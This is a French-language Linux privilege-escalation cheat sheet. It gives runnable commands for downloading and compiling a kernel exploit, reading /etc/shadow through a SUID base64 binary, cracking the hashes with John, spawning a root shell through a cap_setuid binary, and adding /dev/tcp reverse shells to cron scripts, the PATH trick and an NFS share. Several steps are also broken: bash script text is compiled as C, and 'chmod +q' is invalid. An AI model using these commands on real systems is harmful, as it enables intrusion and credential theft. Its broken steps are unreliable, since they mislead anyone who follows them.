🤯Exploit
🔋 kernel
Sur la machine Attaquante
Étape 1 : Télécharger l’exploit sur exploitDB
Étape 2 : créer un serveur
python3 -m http.server 9000
Sur la machine Cible
cd /tmp # Aller dans le répertoire tmp
wget http://IP:port/37292.c # Importe l'exploit
gcc 37292.c -o exploit # Pour le compiler
./exploit # Pour le lancer
🛠️ SUID avec le fichier base 64
Étape 1 : Identification des Fichiers avec SUID
Utilisons la commande suivante pour trouver des fichiers avec des bits SUID sur le système :
find / -type f -perm -04000 -ls 2>/dev/null
Cette commande recherche tous les fichiers (-type f
) avec des bits SUID (-perm -04000
) et affiche les résultats de manière détaillée (-ls
). Les erreurs sont redirigées vers /dev/null
.
Étape 2 : Utilisation du Fichier /usr/bin/base64
A l’aide de la commande précedente, nous observons le fichier /usr/bin/base64
. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre SUID.
LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 --decode
Cette méthode recommandée sur GTFOBins utilise base64
pour lire et décoder le contenu du fichier spécifié (/etc/shadow
). Nous obtenons ainsi un hash.
Étape 3 : Déchiffrement du Hash avec John
Utilisons John the Ripper pour déchiffrer le hash obtenu. Assurez-vous d'avoir le fichier wordlist approprié, par exemple /usr/share/wordlists/rockyou.txt
.
nano $hash
john --wordlist=/usr/share/wordlists/rockyou.txt "$hash"
john $hash --show
Cela tente de déchiffrer le hash en utilisant une attaque par dictionnaire avec le mot de passe contenu dans rockyou.txt
.
Étape 4 : Connexion avec l'Utilisateur2
Connectons-nous à l'utilisateur2 avec le mot de passe obtenu après le déchiffrement.
Étape 5 : Gestion des Permissions sur /home/ubuntu/flag3.txt
Observons que l'accès à /home/ubuntu/flag3.txt
n'est pas autorisé. Utilisons base64
pour lire et décoder le contenu du fichier.
LFILE=/home/ubuntu/flag3.txt
/usr/bin/base64 "$LFILE" | base64 --decode
Ces commandes permettent de contourner les permissions en utilisant les droits SUID sur base64
pour accéder aux fichiers sensibles.
💡 Capabilités
Les "capacités" sont un mécanisme de sécurité qui permet à des programmes spécifiques d'exécuter des opérations restreintes généralement réservées à des processus avec des privilèges élevés (comme l'utilisateur root).
Étape 1 : Identifier les Capabilités
Utilisons la commande suivante pour identifier les capabilités associées aux fichiers du système :
getcap -r / 2>/dev/null
Cette commande recherche récursivement (-r
) toutes les capabilités sur le système de fichiers à partir du répertoire racine ("/"). Les erreurs sont redirigées vers /dev/null
.
La sortie pourrait ressembler à ceci :
/home/user/vim = cap_setuid+ep
/home/user/view = cap_setuid+ep
Étape 2 : Exploration avec GTFOBins
Choisissons un fichier avec des capabilités, par exemple /home/user/vim
ou /home/user/view
. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre de capabilités.
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Cette commande utilise les capabilités de view
pour exécuter du code Python (:py
) qui définira l'UID sur 0 (root) et exécutera un shell interactif.
Étape 3 : Modification pour Python 3
Certaines versions peuvent nécessiter l'utilisation de Python 3. Modifions la commande en conséquence :
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Cette version utilise Python 3 (:py3
) pour la même tâche.
Étape 4 : Exécution de la Commande
Tapez la commande modifiée dans l'invite de commande et observez les résultats. Assurez-vous d'avoir compris chaque étape du processus et agissez toujours de manière éthique et légale lors de l'exploration des fonctionnalités de sécurité.
📀 Crontab
📚 Definition
Les tâches cron (crontabs) sont des procédures automatisées planifiées sur les systèmes Unix/Linux pour s'exécuter à des intervalles spécifiques. Chaque utilisateur peut avoir son propre fichier crontab, et il existe également un fichier système /etc/crontab
qui contient des tâches planifiées pour les utilisateurs système.
Pour afficher les tâches cron d'un utilisateur, utilisez la commande :
crontab -l
La syntaxe générale d'une entrée crontab est la suivante :
# Minute Heure Jour du mois Mois Jour de la semaine Commande
Par exemple, l'entrée suivante exécute une commande toutes les heures :
0 * * * * commande
📮 Privesc via Crontab
Pour afficher les tâches cron, utilisez la commande suivante :
cat /etc/crontab
Trouver des Scripts Exécutés : Vérifiez les scripts exécutés par les tâches cron. Souvent, ces scripts peuvent être modifiés pour inclure des commandes malveillantes.
Dans cette configuration, nous observons l'exécution du script /home/user/backup.sh
.
Pour le modifier à l'aide d'un reverse shell, utilisez :
nano backup.sh
Puis ajoutez la ligne suivante pour établir un reverse shell :
bash -i >& /dev/tcp/IP_attaquante/port 0>&1
Pour établir un reverse shell ans un fichier :
echo "bash -i >& /dev/tcp/IP_attaquante/port 0>&1" > /etc/fichier
Appuyez sur Ctrl + X
, puis sur Y
, et appuyez sur Entrée
pour sortir.
Accordez les droits d'exécution au fichier pour l'utilisateur :
chmod +x backup.sh
En parallèle, sur la machine attaquante, exécutez la commande suivante pour écouter les connexions entrantes :
nc -lvnp port
Ensuite, récupérez le hash d'un utilisateur à partir du fichier /etc/shadow
.
cat /etc/shadow
Copiez le hash d'un utilisateur dans un fichier, puis utilisez l'outil John pour casser le mot de passe:
john hash --show
🔐 PATH
Dans un système Linux, la variable d'environnement PATH indique où le système doit rechercher les exécutables lorsqu'une commande est saisie. Cette vulnérabilité peut être exploitée si un dossier accessible en écriture par l'utilisateur est inclus dans le PATH.
Étapes de l'exploitation :
# Vérifier les dossiers sous $PATH
echo $PATH
# Modifier la variable $PATH
export PATH=/tmp:$PATH
# Créer un script malveillant (shell) dans /tmp
echo -e "#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1" > /tmp/shell.c
# Compiler le script en exécutable
gcc /tmp/shell.c -o /tmp/shell
# Définir le bit SUID sur le script
chmod +s /tmp/shell
# Donner des droits exécutables au script
chmod +x /tmp/shell
# Exécuter le script
cd /tmp
./shell
📎Montage NFS
Le NFS (Network File System) est un protocole permettant de partager des fichiers entre des systèmes UNIX via le réseau. Ce tutoriel explique comment monter un partage NFS sur un système Linux.
Étape 1: Vérifier les exports NFS sur le serveur (sur la cible)
Utilisez la commande cat
pour afficher les configurations d'exports NFS sur le serveur.
cat /etc/exports
Assurez-vous que le fichier /etc/exports
permet des permissions en écriture (rw
) et que l'option no_root_squash
est utilisée si nécessaire. Si l'option « no_root_squash » est présente sur un partage inscriptible, nous pouvons créer un exécutable avec le bit SUID défini et l'exécuter sur le système cible. Dans notre cas, le chemin contenant no_root_squash
est /home/user/share.
Étape 2: Vérifier les partages NFS exposés par le serveur (sur l’attaquant)
Utilisez la commande showmount
pour afficher les partages NFS exposés par le serveur.
showmount -e IP_CIBLE
Étape 3: Monter le répertoire distant localement (sur l’attaquant)
Créez un répertoire local pour monter le partage NFS.
mkdir /mnt/jrpentest
Montez le répertoire distant dans le répertoire local.
mount -o rw IP_serveur_NFS:/home/ubuntu/sharedfolder /mnt/jrpentest
Étape 4: Vérifier les permissions du répertoire monté
# sur l'attaquant
ls -la /mnt/jrpentest
# sur la cible
ls -la /home/user/share
Étape 5: Créer un fichier malveillant dans le répertoire monté
Si les fichiers sur le serveur ont des permissions en écriture (rw
) et que no_root_squash
est utilisé, vous pouvez créer un fichier malveillant dans le répertoire monté.
cd mnt/jrpentest
nano code.c
"#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1"
# compiler
gcc code.c -o code
Normalement, le code généré ici est partagé sur la cible dans le dossier /home/user/share.
Étape 6: Donner des droits exécutables au script
Si nécessaire, donnez des droits exécutables au script.
# sur l'attaquant
cd /mnt/jrpentest/
chmod +x code
chmod +q code
# sur la cible
cd /home/user/share
chmod +x code
Étape 7: Exécuter le script à distance en utilisant le chemin NFS (sur la cible)
Vous pouvez maintenant exécuter le script à distance à partir du serveur NFS en utilisant le chemin NFS.
cd /home/user/share
./code
Last updated